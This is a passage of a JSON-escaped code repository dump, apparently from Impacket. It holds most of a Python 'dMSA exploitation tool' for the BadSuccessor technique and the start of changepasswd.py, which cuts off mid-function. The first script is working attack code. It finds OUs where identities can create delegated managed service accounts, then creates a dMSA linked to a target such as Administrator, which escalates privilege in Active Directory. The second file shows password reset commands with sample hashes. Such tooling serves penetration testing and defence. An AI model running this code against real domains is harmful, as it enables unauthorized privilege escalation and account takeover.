          \n            relevant_object_types = {\n                \"00000000-0000-0000-0000-000000000000\": \"All Objects\",\n                \"0feb936f-47b3-49f2-9386-1dedc2c23765\": \"msDS-DelegatedManagedServiceAccount\",\n            }\n            \n            for entry in ou_entries:\n                try:\n                    ou_dn = str(entry.entry_dn)\n                    \n                    if 'nTSecurityDescriptor' not in entry or not entry.nTSecurityDescriptor.value:\n                        continue\n                        \n                    sd_data = entry.nTSecurityDescriptor.value\n                    sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)\n                    \n                    # Process DACL entries (ACEs)\n                    dacl = sd['Dacl']\n                    if dacl and hasattr(dacl, 'aces') and dacl.aces:\n                        for ace in dacl.aces:\n                            # Only process ALLOW ACEs\n                            if ace['AceType'] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:\n                                continue\n                                \n                            # Check if ACE has relevant rights\n                            mask = int(ace['Ace']['Mask']['Mask'])\n                            has_relevant_right = any(mask & right_value for right_value in relevant_rights.values())\n                            if not has_relevant_right:\n                                continue\n                            \n                            # Check object type (must match relevant object types)\n                            object_type = getattr(ace['Ace'], 'ObjectType', None)\n                            if object_type:\n                                object_guid = str(object_type).lower()\n                                if object_guid not in relevant_object_types:\n                                    continue\n                                \n                            sid = ace['Ace']['Sid'].formatCanonical()\n                            \n                            if self.is_excluded_sid(sid, domain_sid):\n                                continue\n                            \n                            identity = self.resolve_sid_to_name(ldapConnection, sid)\n                            if identity not in allowed_identities:\n                                allowed_identities[identity] = []\n                            if ou_dn not in allowed_identities[identity]:\n                                allowed_identities[identity].append(ou_dn)\n                    \n                    try:\n                        owner_sid = sd['OwnerSid'].formatCanonical()\n                        if not self.is_excluded_sid(owner_sid, domain_sid):\n                            identity = self.resolve_sid_to_name(ldapConnection, owner_sid)\n                            if identity not in allowed_identities:\n                                allowed_identities[identity] = []\n                            if ou_dn not in allowed_identities[identity]:\n                                allowed_identities[identity].append(ou_dn)\n                    except:\n                        pass\n                        \n                except Exception as e:\n                    continue\n            \n            if allowed_identities:\n                logging.info('Found %d identities with BadSuccessor privileges:' % len(allowed_identities))\n                logging.info(\"\")\n                logging.info(\"%-50s %s\" % (\"Identity\", \"Vulnerable OUs\"))\n                logging.info(\"%-50s %s\" % (\"-\" * 50, \"-\" * 30))\n                \n                for identity, ous in allowed_identities.items():\n                    ou_list = \"{%s}\" % \", \".join(ous)\n                    logging.info(\"%-50s %s\" % (identity[:50], ou_list))\n            else:\n                logging.info('No identities found with BadSuccessor privileges')\n                logging.info(\"\")\n                logging.info(\"%-50s %s\" % (\"Identity\", \"Vulnerable OUs\"))\n                logging.info(\"%-50s %s\" % (\"-\" * 50, \"-\" * 30))\n                logging.info(\"%-50s %s\" % (\"(none)\", \"(none)\"))\n            return True\n            \n        except Exception as e:\n            logging.error('BadSuccessor search failed: %s' % str(e))\n            return False\n\n    def is_excluded_sid(self, sid, domain_sid):\n        excluded_sids = [\"S-1-5-32-544\", \"S-1-5-18\"]  # BUILTIN\\Administrators, SYSTEM\n        excluded_suffixes = [\"-512\", \"-519\"]  # Domain Admins, Enterprise Admins\n        \n        if sid in excluded_sids:\n            return True\n            \n        if domain_sid and sid.startswith(domain_sid):\n            for suffix in excluded_suffixes:\n                if sid.endswith(suffix):\n                    return True\n                    \n        return False\n\n    def resolve_sid_to_name(self, ldapConnection, sid):\n        try:\n            # Handle well-known SIDs \n            well_known_sids = {\n                'S-1-1-0': 'Everyone',\n                'S-1-5-11': 'NT AUTHORITY\\\\Authenticated Users',\n                'S-1-5-32-544': 'BUILTIN\\\\Administrators',\n                'S-1-5-32-545': 'BUILTIN\\\\Users',\n                'S-1-5-32-546': 'BUILTIN\\\\Guests',\n                'S-1-5-18': 'NT AUTHORITY\\\\SYSTEM',\n                'S-1-5-19': 'NT AUTHORITY\\\\LOCAL SERVICE',\n                'S-1-5-20': 'NT AUTHORITY\\\\NETWORK SERVICE',\n                'S-1-3-0': 'CREATOR OWNER',\n                'S-1-3-1': 'CREATOR GROUP',\n                'S-1-5-9': 'NT AUTHORITY\\\\ENTERPRISE DOMAIN CONTROLLERS',\n                'S-1-5-10': 'NT AUTHORITY\\\\SELF',\n            }\n            \n            if sid in well_known_sids:\n                return well_known_sids[sid]\n            \n            success = ldapConnection.search(\n                search_base=self.__baseDN,\n                search_filter='(objectSid=%s)' % sid,\n                search_scope=ldap3.SUBTREE,\n                attributes=['sAMAccountName']\n            )\n            \n            if success and len(ldapConnection.entries) > 0:\n                entry = ldapConnection.entries[0]\n                if 'sAMAccountName' in entry:\n                    username = entry.sAMAccountName.value\n                    return '%s\\\\%s' % (self.__domain.upper(), username)\n                    \n            return sid\n            \n        except Exception as e:\n            logging.debug('Error resolving SID %s: %s' % (sid, str(e)))\n            return sid\n\n\n    def generate_dmsa_name(self):\n        random_suffix = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))\n        return 'dMSA-%s' % random_suffix\n\n    def convert_sid_to_string(self, sid_bytes):\n        try:\n            if not sid_bytes:\n                return None\n                \n            if isinstance(sid_bytes, str):\n                sid_bytes = sid_bytes.encode('latin-1')\n            \n            if len(sid_bytes) < 8:\n                return None\n                \n            revision = sid_bytes[0]\n            authority_count = sid_bytes[1]\n            \n            expected_length = 8 + (authority_count * 4)\n            if len(sid_bytes) < expected_length:\n                return None\n                \n            authority = int.from_bytes(sid_bytes[2:8], 'big')\n            \n            subauthorities = []\n            for i in range(authority_count):\n                offset = 8 + (i * 4)\n                if offset + 4 <= len(sid_bytes):\n                    subauth = int.from_bytes(sid_bytes[offset:offset+4], 'little')\n                    subauthorities.append(str(subauth))\n                else:\n                    break\n            \n            if subauthorities:\n                sid_string = 'S-%d-%d-%s' % (revision, authority, '-'.join(subauthorities))\n            else:\n                sid_string = 'S-%d-%d' % (revision, authority)\n                \n            return sid_string\n            \n        except Exception as e:\n            logging.debug('Error converting SID bytes to string: %s' % str(e))\n            return None\n\n    def build_security_descriptor(self, user_sid):\n        try:\n            if not user_sid:\n                return None\n            # Handle both string and bytes SID formats\n            if isinstance(user_sid, str):\n                if user_sid.startswith('S-'):\n                    sid_string = user_sid\n                else:\n                    return None\n            else:\n                sid_string = self.convert_sid_to_string(user_sid)\n                if not sid_string:\n                    return None\n            sd = ldaptypes.SR_SECURITY_DESCRIPTOR()\n            sd['Revision'] = b'\\x01'\n            sd['Sbz1'] = b'\\x00'\n            sd['Control'] = 32772\n            sd['OwnerSid'] = ldaptypes.LDAP_SID()\n            sd['OwnerSid'].fromCanonical(sid_string)\n            sd['GroupSid'] = b''\n            sd['Sacl'] = b''\n            acl = ldaptypes.ACL()\n            acl['AclRevision'] = 4\n            acl['Sbz1'] = 0\n            acl['Sbz2'] = 0\n            acl.aces = []\n            \n            nace1 = ldaptypes.ACE()\n            nace1['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE\n            nace1['AceFlags'] = 0x00\n            acedata1 = ldaptypes.ACCESS_ALLOWED_ACE()\n            acedata1['Mask'] = ldaptypes.ACCESS_MASK()\n            acedata1['Mask']['Mask'] = 0x000F01FF\n            acedata1['Sid'] = ldaptypes.LDAP_SID()\n            acedata1['Sid'].fromCanonical(sid_string)\n            nace1['Ace'] = acedata1\n            acl.aces.append(nace1)\n            \n            nace2 = ldaptypes.ACE()\n            nace2['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE\n            nace2['AceFlags'] = 0x00\n            acedata2 = ldaptypes.ACCESS_ALLOWED_ACE()\n            acedata2['Mask'] = ldaptypes.ACCESS_MASK()\n            acedata2['Mask']['Mask'] = 0x10000000  # GenericAll\n            acedata2['Sid'] = ldaptypes.LDAP_SID()\n            acedata2['Sid'].fromCanonical(sid_string)\n            nace2['Ace'] = acedata2\n            acl.aces.append(nace2)\n            sd['Dacl'] = acl\n            return sd.getData()\n        except Exception as e:\n            logging.debug('Error building security descriptor: %s' % str(e))\n            return None\n    \n\n    def add_dmsa(self, ldapConnection):\n        try:\n            if not self.__dmsaName:\n                self.__dmsaName = self.generate_dmsa_name()\n            \n            if not self.__targetOu:\n                logging.error('Target OU is required for dMSA creation. Use -target-ou parameter.')\n                return False\n            \n            dmsa_dn = 'CN=%s,%s' % (self.__dmsaName, self.__targetOu)\n            if self.check_account_exists(ldapConnection, dmsa_dn):\n                logging.error('dMSA account already exists: %s' % dmsa_dn)\n                return False\n            \n            principals_allowed = self.__principalsAllowed if self.__principalsAllowed else self.__username\n            target_account = self.__targetAccount if self.__targetAccount else 'Administrator'\n            \n            dns_hostname = self.__dnsHostName if self.__dnsHostName else '%s.%s' % (self.__dmsaName.lower(), self.__domain)\n            \n            # Validate DNS hostname format\n            if not dns_hostname or '.' not in dns_hostname:\n                dns_hostname = '%s.%s' % (self.__dmsaName.lower(), self.__domain)\n            \n            attributes = {\n                'objectClass': ['msDS-DelegatedManagedServiceAccount'],\n                'cn': self.__dmsaName,\n                'sAMAccountName': '%s$' % self.__dmsaName,\n                'dNSHostName': dns_hostname,\n                'userAccountControl': 4096,\n                'msDS-ManagedPasswordInterval': 30,\n                'msDS-DelegatedMSAState': 2,\n                'msDS-SupportedEncryptionTypes': 28,\n                'accountExpires': 9223372036854775807,\n            }\n\n            group_msa_membership = None\n            try:\n                search_filter = '(&(objectClass=user)(sAMAccountName=%s))' % principals_allowed\n                success = ldapConnection.search(\n                    search_base=self.__baseDN,\n                    search_filter=search_filter,\n                    search_scope=ldap3.SUBTREE,\n                    attributes=['objectSid'])\n                if success and len(ldapConnection.entries) > 0:\n                    entry = ldapConnection.entries[0]\n                    if 'objectSid' in entry:\n                        user_sid = entry.objectSid.value\n                        if user_sid:\n                            descriptor = self.build_security_descriptor(user_sid)\n                            group_msa_membership = descriptor\n                            attributes['nTSecurityDescriptor'] = descriptor\n                \n            except Exception as e:\n                logging.debug('Error building MSA membership: %s' % str(e))\n                return False\n            \n            if group_msa_membership:\n                attributes['msDS-GroupMSAMembership'] = group_msa_membership\n\n            target_dn = None\n            success = ldapConnection.search(\n                search_base=self.__baseDN, \n                search_filter='(&(objectClass=*)(sAMAccountName=%s))' % target_account,\n                search_scope=ldap3.SUBTREE,\n                attributes=['distinguishedName', 'objectClass']\n            )\n\n            if success and len(ldapConnection.entries) > 0:\n                for entry in ldapConnection.entries:\n                    object_classes = [str(oc).lower() for oc in entry.objectClass.values]\n                    if 'user' in object_classes or 'computer' in object_classes:\n                        target_dn = str(entry.entry_dn)\n                # Return first match if no user/computer found\n                target_dn = str(ldapConnection.entries[0].entry_dn)\n\n                if target_dn:\n                    attributes['msDS-ManagedAccountPrecededByLink'] = target_dn\n                \n\n           \n            else:\n                logging.error('Target account not found: %s' % target_account)\n                return False\n            \n            success = ldapConnection.add(dmsa_dn, attributes=attributes)\n\n            if success:\n                logging.info(\"\")\n                logging.info(\"%-30s %s\" % (\"-\" * 30, \"-\" * 30))\n                logging.info(\"%-30s %s\" % (\"dMSA Name:\", '%s$' % self.__dmsaName))\n                logging.info(\"%-30s %s\" % (\"DNS Hostname:\", attributes.get('dNSHostName', 'Unknown')))\n                logging.info(\"%-30s %s\" % (\"Migration status: \", attributes.get('msDS-DelegatedMSAState', 'Unknown')))\n                logging.info(\"%-30s %s\" % (\"Principals Allowed:\", principals_allowed))\n                logging.info(\"%-30s %s\" % (\"Target Account:\", target_account))\n                return True\n            else:\n                if ldapConnection.result:\n                    logging.error('LDAP error: %s' % ldapConnection.result)\n                return False\n                \n        except Exception as e:\n            logging.error('dMSA creation failed: %s' % str(e))\n            return False\n    \n    def modify_dmsa(self, ldapConnection):\n        try:\n            dmsa_dn = 'CN=%s,%s' % (self.__dmsaName, self.__targetOu)\n\n            if not self.check_account_exists(ldapConnection, dmsa_dn):\n                logging.error('dMSA account does not exist: %s' % dmsa_dn)\n                return False\n\n            # Get current target account value\n            success = ldapConnection.search(\n                search_base=dmsa_dn,\n                search_filter='(objectClass=msDS-DelegatedManagedServiceAccount)',\n                search_scope=ldap3.BASE,\n                attributes=['msDS-ManagedAccountPrecededByLink']\n            )\n            \n            current_target_dn = None\n            if success and len(ldapConnection.entries) > 0:\n                entry = ldapConnection.entries[0]\n                if hasattr(entry, 'msDS-ManagedAccountPrecededByLink'):\n                    current_target_dn = entry['msDS-ManagedAccountPrecededByLink'].value\n\n            success = ldapConnection.search(\n                search_base=self.__baseDN, \n                search_filter='(&(objectClass=*)(sAMAccountName=%s))' % self.__targetAccount,\n                search_scope=ldap3.SUBTREE,\n                attributes=['distinguishedName', 'objectClass']\n            )\n\n            if not (success and len(ldapConnection.entries) > 0):\n                logging.error('Target account not found: %s' % self.__targetAccount)\n                return False\n\n            target_dn = None\n            for entry in ldapConnection.entries:\n                object_classes = [str(oc).lower() for oc in entry.objectClass.values]\n                if 'user' in object_classes or 'computer' in object_classes:\n                    target_dn = str(entry.entry_dn)\n                    break\n            \n            if not target_dn:\n                target_dn = str(ldapConnection.entries[0].entry_dn)\n\n            if current_target_dn == target_dn:\n                logging.info('Target account is already set to: %s' % target_dn)\n                logging.info('No modifications needed.')\n                return True\n\n            modifications = {\n                'msDS-ManagedAccountPrecededByLink': [(ldap3.MODIFY_REPLACE, [target_dn])]\n            }\n            \n            success = ldapConnection.modify(dmsa_dn, modifications)\n            \n            if success:\n                logging.info('dMSA target account modified: %s -> %s' % (current_target_dn or '(not set)', target_dn))\n                return True\n            else:\n                logging.error('Failed to modify dMSA: %s' % ldapConnection.result)\n                return False\n                \n        except Exception as e:\n            logging.error('Error modifying dMSA: %s' % str(e))\n            return False\n\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"dMSA exploitation tool.\")\n\n    parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.')\n    parser.add_argument('-dmsa-name', action='store', metavar='dmsa_name', help='Name of dMSA to add. If omitted, a random dMSA-[A-Z0-9]{8} will be used.')\n    parser.add_argument('-action', choices=['add', 'delete', 'modify', 'search'], default='search', help='Action to perform: add (requires -target-ou), delete (requires -dmsa-name, -target-ou), modify (requires -dmsa-name, -target-ou and -target-account), or search a dMSA.')\n    parser.add_argument('-target-ou', action='store', metavar='OU_DN', help='Specific OU to check for dMSA creation capabilities (e.g., \"OU=weakOU,DC=domain,DC=local\")')\n    parser.add_argument('-principals-allowed', action='store', metavar='USERNAME', help='Username allowed to retrieve the managed password. If omitted, current username will be used.')\n    parser.add_argument('-target-account', action='store', metavar='USERNAME', default='Administrator', help='Target user or computer account DN to set for msDS-ManagedAccountPrecededByLink (can target Domain Controllers, Domain Admins, Protected Users, etc.)')\n    parser.add_argument('-dns-hostname', action='store', metavar='HOSTNAME', help='DNS hostname for the dMSA. If omitted, will be generated as dmsaname.domain.')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-method', choices=['LDAP', 'LDAPS'], default='LDAPS', help='Method of adding the computer. LDAPS has some certificate requirements and isn\\'t always available.')\n\n    parser.add_argument('-port', type=int, choices=[389, 636], help='Destination port to connect to. LDAP defaults to 389, LDAPS to 636.')\n\n    group = parser.add_argument_group('LDAP')\n    group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP. If ommited, the domain part (FQDN) specified in the account parameter will be used.')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication (128 or 256 bits)')\n    group.add_argument('-dc-host', action='store',metavar = \"hostname\",  help='Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip\",  help='IP of the domain controller to use. Useful if you can\\'t translate the FQDN.')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    if options.action == 'add':\n        required_args = []\n        if not options.target_ou:\n            required_args.append('-target-ou')\n        \n        if required_args:\n            parser.error('Action \"add\" requires the following arguments: %s' % ', '.join(required_args))\n    \n    elif options.action == 'delete':\n        required_args = []\n        if not options.dmsa_name:\n            required_args.append('-dmsa-name')\n        if not options.target_ou:\n            required_args.append('-target-ou')\n        \n        if required_args:\n            parser.error('Action \"delete\" requires the following arguments: %s' % ', '.join(required_args))\n    \n    elif options.action == 'modify':\n        required_args = []\n        if not options.dmsa_name:\n            required_args.append('-dmsa-name')\n        if not options.target_ou:\n            required_args.append('-target-ou')\n        if not options.target_account:\n            required_args.append('-target-account')\n        if required_args:\n            parser.error('Action \"modify\" requires the following arguments: %s' % ', '.join(required_args))\n\n    logger.init(options.ts, options.debug)\n    \n    if '@' in options.account and options.dc_host is None:\n        domain, username, password, remote_host = parse_target(options.account)\n        if domain == '':\n            logging.critical('Domain should be specified!')\n            sys.exit(1)\n        options.dc_host = remote_host\n        \n        if password == '' and username != '' and options.hashes is None and not options.no_pass and options.aesKey is None:\n            from getpass import getpass\n            password = getpass(\"Password:\")\n        \n        lmhash = ''\n        nthash = ''\n        if options.hashes is not None:\n            lmhash, nthash = options.hashes.split(':')\n            if lmhash == '':\n                lmhash = 'AAD3B435B51404EEAAD3B435B51404EE' \n        \n        if options.aesKey is not None:\n            options.k = True\n    else:\n        domain, username, password, lmhash, nthash, options.k = parse_identity(options.account, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if domain == '':\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    try:\n        executer = BADSUCCESSOR(username, password, domain, lmhash, nthash, options)\n        executer.run()\n    except Exception as e:\n        print(str(e))\n"
  },
  {
    "path": "examples/changepasswd.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script is a collection of functions to change or reset the password of\n#   a user via various protocols. It supports:\n#   - MS-SAMR over SMB or RPC transport (NetUserChangePassword and NetUserSetInfo protocols)\n#   - Kerberos change-password and reset-password protocols\n#   - LDAP password change and reset\n#\n#   The last documented mechanism (XACT-SMB) is not implemented.\n#\n#   A password change can usually be initiated when the previous password (or its\n#   hash) is known, by the account itself or any other user.\n#   A password reset requires additional permissions and may in some case bypass\n#   password policies.\n#\n#   Tradeoff of the different protocols:\n#   - MS-SAMR over SMB: (smbpasswd)\n#       * SMB communication with the server or domain controller is required\n#       * Can perform password change when the current password is expired\n#       * Supports plaintext password and NTLM hashes as the new password value\n#       * If provided as plaintext, password policy is enforced\n#       * If using NTLM hashes, the new password is flagged as expired\n#       * If using password reset with a NTLM hash, password policy and history is ignored\n#       * When using hashes for change or reset, Kerberos keys are not created\n#   - MS-SAMR over MS-RPC:\n#       * RPC communication over TCP/135 and random ports\n#       * Cannot get a handle on user object with default AD configuration:\n#           - cannot use hSamrChangePasswordUser to change password with hashes only\n#           - cannot use hSamrSetInformationUser to reset the password\n#       * Password policy is enforced\n#   - Kerberos Change Password: (kpasswd)\n#       * Must use Kerberos authentication\n#       * Must have a valid TGT/key or valid password for the user\n#       * Must provide the new password as plaintext\n#       * Password policy is enforced\n#   - Kerberos Set Password:\n#       * Must use Kerberos authentication\n#       * Must have a valid TGT/key or valid password for the admin\n#       * Must provide the new password as plaintext\n#   - LDAP password change:\n#       * The server must support TLS. If the DC is misconfigured, you cannot connect\n#       * Must provide the old and new passwords as plaintext\n#       * Password policy is enforced\n#   - LDAP password set:\n#       * The server must support TLS. If the DC is misconfigured, you cannot connect\n#       * Must provide the new password as plaintext\n#\n#   Examples:\n#     SAMR protocol over SMB transport to change passwords (like smbpasswd, -protocol smb-samr is implied)\n#       changepasswd.py j.doe@192.168.1.11\n#       changepasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889\n#       changepasswd.py -protocol smb-samr contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'\n#       changepasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb\n#       changepasswd.py contoso.local/j.doe@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -k -no-pass\n#\n#     SAMR protocol over SMB transport to reset passwords (like smbpasswd, -protocol smb-samr is implied)\n#       changepasswd.py -reset contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'\n#               -altuser administrator -altpass 'Adm1nPassw0rd!'\n#       changepasswd.py -reset -protocol smb-samr contoso.local/j.doe:'Passw0rd!'@DC1\n#               -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!'\n#       changepasswd.py -reset SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb\n#               -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab\n#       changepasswd.py -reset SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb\n#               -altuser CONTOSO/DomAdm -k -no-pass\n#\n#     SAMR protocol over MS-RPC transport to change passwords\n#       changepasswd.py -protocol rpc-samr contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'\n#\n#     Kerberos Change Password protocol (like kpasswd) (-newhashes is not supported and -k is implied)\n#       changepasswd.py -protocol kpasswd contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'\n#\n#     Kerberos Reset Password protocol (like kpasswd) (-newhashes is not supported and -k is implied)\n#       changepasswd.py -reset -protocol kpasswd contoso.local/j.doe@DC1 -newpass 'N3wPassw0rd!'\n#               -altuser CONTOSO/SrvAdm\n#\n#     LDAP password change (like ldappasswd) (-newhashes is not supported)\n#       changepasswd.py -p ldap contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'\n#       changepasswd.py -p ldap -k contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'\n#\n#     LDAP password set (-newhashes is not supported)\n#       changepasswd.py -reset -p ldap contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'\n#               -altuser administrator -althash 6fe945ead39a7a6a2091001d98a913ab\n#       changepasswd.py -reset -p ldap -k contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'\n#               -altuser CONTOSO/SrvAdm -k -no-pass\n#\n#\n# This script is based on smbpasswd.py.\n#\n# Authors:\n#   @snovvcrash\n#   @alef-burzmali\n#   @bransh\n#   @Oddvarmoe\n#   @p0dalirius\n#\n# References:\n#   https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/password-change-mechanisms\n#   [MS-SAMR] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880\n#   [MS-SAMR] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476\n#   [MS-SAMR] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/538222f7-1b89-4811-949a-0eac62e38dce\n#   [LDAP] https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/change-windows-active-directory-user-password\n#   [KPASSWD] https://www.rfc-editor.org/rfc/rfc3244.txt\n#   https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html\n#   https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/\n#   https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c\n#   https://github.com/fortra/impacket/pull/381\n#   https://github.com/fortra/impacket/pull/1189\n#   https://github.com/fortra/impacket/pull/1304\n#\n\nimport argparse\nimport logging\nimport sys\n\nfrom getpass import getpass\n\nfrom impacket import version\nfrom impacket.dcerpc.v5 import transport, samr, epm\nfrom impacket.krb5 import kerberosv5, kpasswd\nfrom impacket.ldap import ldap, ldapasn1\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target, EMPTY_LM_HASH\n\nimport OpenSSL\n\nclass PasswordHandler:\n    \"\"\"Generic interface for all the password protocols supported by this script\"\"\"\n\n    def __init__(\n        self,\n        address,\n        domain=\"\",\n        authUsername=\"\",\n        authPassword=\"\",\n        authPwdHashLM=\"\",\n        authPwdHashNT=\"\",\n        doKerberos=False,\n        aesKey=\"\",\n        kdcHost=None,\n    ):\n        \"\"\"\n        Instantiate password change or reset with the credentials of the account making the changes.\n        It can be the target user, or a privileged account.\n\n        :param string address:  IP address or hostname of the server or domain controller where the password will be changed\n        :param string domain:   AD domain where the password will be changed\n        :param string username: account that will attempt the password change or reset on the target(s)\n        :param string password: password of the account that will attempt the password change\n        :param string pwdHashLM: LM hash of the account that will attempt the password change\n        :param string pwdHashNT: NT hash of the account that will attempt the password change\n        :param bool doKerberos: use Kerberos authentication instead of NTLM\n        :param string aesKey:   AES key for Kerberos authentication\n        :param string kdcHost:  KDC host\n        \"\"\"\n\n        self.address = address\n        self.domain = domain\n        self.username = authUsername\n        self.password = authPassword\n        self.pwdHashLM = authPwdHashLM\n        self.pwdHashNT = authPwdHashNT\n        self.doKerberos = doKerberos\n        self.aesKey = aesKey\n        self.kdcHost = kdcHost\n\n    def _changePassword(\n        self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n    ):\n        \"\"\"Implementation of a password change\"\"\"\n        raise NotImplementedError\n\n    def changePassword(\n        self,\n        targetUsername=None,\n        targetDomain=None,\n        oldPassword=None,\n        newPassword=\"\",\n        oldPwdHashLM=None,\n        oldPwdHashNT=None,\n        newPwdHashLM=\"\",\n        newPwdHashNT=\"\",\n    ):\n        \"\"\"\n        Change the password of a target account, knowing the previous password.\n\n        :param string targetUsername: account whose password will be changed, if different from the user performing the change\n        :param string targetDomain:   domain of the account\n        :param string oldPassword:    current password\n        :param string newPassword:    new password\n        :param string oldPwdHashLM:   current password, as LM hash\n        :param string oldPwdHashMT:   current password, as NT hash\n        :param string newPwdHashLM:   new password, as LM hash\n        :param string newPwdHashMT:   new password, as NT hash\n\n        :return bool success\n        \"\"\"\n\n        if targetUsername is None:\n            # changing self\n            targetUsername = self.username\n\n            if targetDomain is None:\n                targetDomain = self.domain\n            if oldPassword is None:\n                oldPassword = self.password\n            if oldPwdHashLM is None:\n                oldPwdHashLM = self.pwdHashLM\n            if oldPwdHashNT is None:\n                oldPwdHashNT = self.pwdHashNT\n\n        logging.info(f\"Changing the password of {targetDomain}\\\\{targetUsername}\")\n        return self._changePassword(\n            targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n        )\n\n    def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT):\n        \"\"\"Implementation of a password set\"\"\"\n        raise NotImplementedError\n\n    def setPassword(self, targetUsername, targetDomain=None, newPassword=\"\", newPwdHashLM=\"\", newPwdHashNT=\"\"):\n        \"\"\"\n        Set or Reset the password of a target account, with privileges.\n\n        :param string targetUsername:   account whose password will be changed\n        :param string targetDomain:     domain of the account\n        :param string newPassword:      new password\n        :param string newPwdHashLM:     new password, as LM hash\n        :param string newPwdHashMT:     new password, as NT hash\n\n        :return bool success\n        \"\"\"\n\n        if targetDomain is None:\n            targetDomain = self.domain\n\n        logging.info(f\"Setting the password of {targetDomain}\\\\{targetUsername} as {self.domain}\\\\{self.username}\")\n        return self._setPassword(targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT)\n\n\nclass KPassword(PasswordHandler):\n    \"\"\"Use Kerberos Change-Password or Set-Password protocols (rfc3244) to change passwords\"\"\"\n\n    def _changePassword(\n        self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n    ):\n        if targetUsername != self.username:\n            logging.critical(\"KPassword does not support changing the password of another user (try setPassword instead)\")\n            return False\n\n        if not newPassword:\n            logging.critical(\"KPassword requires the new password as plaintext\")\n            return False\n\n        try:\n            logging.debug(\n                (\n                    targetUsername,\n                    targetDomain,\n                    newPassword,\n                    oldPassword,\n                    oldPwdHashLM,\n                    oldPwdHashNT,\n                    self.aesKey,\n                    self.kdcHost,\n                )\n            )\n            kpasswd.changePassword(\n                targetUsername,\n                targetDomain,\n                newPassword,\n                oldPassword,\n                oldPwdHashLM,\n                oldPwdHashNT,\n                aesKey=self.aesKey,\n                kdcHost=self.kdcHost,\n            )\n        except (kerberosv5.KerberosError, kpasswd.KPasswdError) as e:\n            logging.error(f\"Password not changed: {e}\")\n            return False\n\n        logging.info(\"Password was changed successfully.\")\n        return True\n\n    def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT):\n        if not newPassword:\n            logging.critical(\"KPassword requires the new password as plaintext\")\n            return False\n\n        try:\n            kpasswd.setPassword(\n                self.username,\n                self.domain,\n                targetUsername,\n                targetDomain,\n                newPassword,\n                self.password,\n                self.pwdHashLM,\n                self.pwdHashNT,\n                aesKey=self.aesKey,\n                kdcHost=self.kdcHost,\n            )\n        except (kerberosv5.KerberosError, kpasswd.KPasswdError) as e:\n            logging.error(f\"Password not changed for {targetDomain}\\\\{targetUsername}: {e}\")\n            return 